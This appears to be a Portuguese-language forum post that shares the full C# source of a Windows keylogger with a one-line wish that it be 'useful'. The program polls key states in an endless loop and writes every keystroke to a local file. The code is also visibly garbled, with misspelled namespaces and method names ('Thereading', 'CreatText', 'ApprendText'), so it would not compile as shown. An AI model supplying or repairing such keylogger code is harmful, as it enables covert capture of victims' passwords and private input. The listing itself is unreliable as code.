Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Keylogger em C#

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Keylogger em C#

    sem muitas palavras, espero que seja útil e de bom uso.

    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Thereading.Tasks;

    using System.Windows.Forms;
    using System.Runtime.InteropServices;
    using System.Threading;
    using System.IO;


    namespace Keylogger
    {
    class Program
    {
    [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(int32 i);

    static void Main (string[] args)
    {

    LogKeys();

    }

    static void LogKeys()
    {
    string path = (@"C:\KeyLog.Text");

    if(!File.Exists(path))
    {
    using(StreamWriter sw = File.CreatText(path))
    {
    }

    }
    KeyConverter Converter = new KeyConverter();
    string text = "";
    while(true)
    {

    Thread.Sleep(10);

    for(int32 i = 0; i < 255; i++)
    {
    int key = GetAsyncKeyState(i);
    if(key == 1 || key == -32767)
    {
    text = Converter.ConverterToString(i);

    using(StreamWriter sw = File.ApprendText(path))
    {
    sw.WriteLine(text);
    }

    break;
    }
    }

    }
    }
    }

    }
X
Working...
X